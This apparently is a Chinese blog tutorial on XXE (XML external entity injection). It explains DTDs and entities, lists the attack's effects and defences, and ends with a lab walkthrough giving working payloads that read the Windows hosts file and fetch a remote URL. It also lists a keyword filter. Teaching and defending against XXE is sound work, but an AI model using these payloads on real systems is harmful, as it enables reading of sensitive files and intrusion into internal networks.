xxe漏洞


title: xxe漏洞
date: 2021-05-25 10:37:23

xxe漏洞

概述

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从安全角度理解成XML External Entity attack 外部实体注入攻击。

基础知识拓展

  • xml
    • 简介

      可扩展 标记语言标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性 的标记语言

      在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

      XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

    • xml文档构建模块

      所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

      • 元素
      • 属性
      • 实体
      • PCDATA
      • CDATA

      下面是每个构建模块的简要描述。

      • 元素
        元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
        实例:

        <body>body text in between</body>
        <message>some message in between</message>
        

      空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

      • 属性
        属性可提供有关元素的额外信息
        实例:

        <img src="computer.gif" />
        
      • 实体
        实体是用来定义普通文本的变量。实体引用是对实体的引用。

      • PCDATA
        PCDATA 的意思是被解析的字符数据(parsed character data)。
        PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

      • CDATA
        CDATA 的意思是字符数据(character data)。
        CDATA 是不会被解析器解析的文本。

    • xml的DTD(文档类型定义)

      • 简介

        DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
        DTD 可以在 XML 文档内声明,也可以外部引用。
        xxe漏洞主要是利用DTD可以外部引用这一点

      • 实例

        • 内部声明:

          <!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any>
          
          <?xml version="1.0"?>
          <!DOCTYPE note [  
                   <!ELEMENT note (to,from,heading,body)>  
                   <!ELEMENT to      (#PCDATA)>  <!ELEMENT from    (#PCDATA)>  
                    <!ELEMENT heading (#PCDATA)>  <!ELEMENT body    (#PCDATA)>]>
          <note> 
                   <to>George</to> 
                   <from>John</from>  
                   <heading>Reminder</heading>  
                   <body>Don't forget the meeting!</body>
          </note>
          
        • 外部声明(引用外部DTD):

          <!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
          
          完整实例:
          <?xml version="1.0"?>
          <!DOCTYPE note SYSTEM "note.dtd">
          <note>
          <to>George</to>
          <from>John</from>
          <heading>Rreminder</heading>
          <body>Don't forget the meeting!</body>
          </note>
          
        • 而note.dtd的内容为:

          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to(#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body (#PCDATA)>
          
      • DTD实体

        • 简介
          DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

        • 具体

          实体又分为一般实体和参数实体
          1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
          引用实体的方式:&实体名;
          2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
          引用实体的方式:%实体名;
          
        • 内部实体声明:

          <!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
          
          <?xml version="1.0"?>
          <!DOCTYPE test [
          <!ENTITY writer "Bill Gates">
          <!ENTITY copyright "Copyright W3School.com.cn">
          ]>
          
          <test>&writer;&copyright;</test>
          
        • 外部实体声明:

          <!ENTITY 实体名称 SYSTEM "URI">
          
          <?xml version="1.0"?>
          <!DOCTYPE test [
          <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          ]>
          <author>&writer;&copyright;</author>
          

XEE的攻击

  • xxe漏洞原理和危害

    XXE(XML外部实体注入,XML外部实体),在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致任意文件,探测内网端口,攻击内网网站,发起DoS Java中的XXE支持sun.net.www.protocol里的所有协议:http,https,文件,ftp,mailto,jar,netdoc。一般利用文件协议读取文件,利用http协议检测内网。

  • 怎样构建外部实体注入?

    • 方法一:直接通过DTD外部实体声明
      在这里插入图片描述

      xml内容,
      可读取文件passwd的内容

    • 方法二:通过DTD文档引入外部DTD文档,在引入外部实体声明

      • xml文件内容
        在这里插入图片描述
      • evil.dtd文件内容

      在这里插入图片描述

    • 方法三:通过DTD外部实体声明引入外部实体声明

      • 解释一下

        意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明

      • xml内容
        在这里插入图片描述

      • dtd文件内容
        在这里插入图片描述

  • 支持的协议

    img

  • 具体攻击实例

    • 读取任意文件

      imgimg
      该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell

    • 文件读取-数据不回显

      imgimg
      如果数据不回显,可以将数据发送到远程服务器上,
      当触发xxe攻击后,服务器会把文件内容发送到攻击者的网站。

    • xxe-执行系统命令

      img
      该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    • xxe-探测内网端口

      imgimgimg
      该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

    • xxe-攻击内网网站

      img
      该CASE是攻击内网struts2网站,远程执行系统命令。

  • 防御xxe攻击

    • 使用开发语言提供的禁用外部实体的方法

      PHP:
      libxml_disable_entity_loader(true);
      
      JAVA:
      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
      
      Python:
      from lxml import etree
      xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      
    • 过滤用户提交的XML数据
      关键词:

      <!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
      
  • 靶场实例

    • 实验环境

      靶场:皮卡丘漏洞练习平台
      php版本:7.3.4
      中间件:apache 2.4.36

    • 尝试注入

      img

      img
      发现body标签被解析,可能存在xml注入

    • 开始构建payload

      <?xml version="1.0" encoding="gb2312"?>
      <!DOCTYPE a [ 
      <!ENTITY xhh SYSTEM "C:/Windows/System32/drivers/etc/hosts">]>
      <a>&xhh;</a>
      

      执行结果

      img
      成功通过xml外部实体函数获取windows敏感文件

      • 尝试读取远程服务器上的robot文件

        <?xml version="1.0" encoding="gb2312"?>
        <!DOCTYPE a [ 
             <!ENTITY xhh SYSTEM "https://zhuanlan.zhihu.com/robots.txt">
        ]>
        <a>&xhh;</a>
        
      • 推荐

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值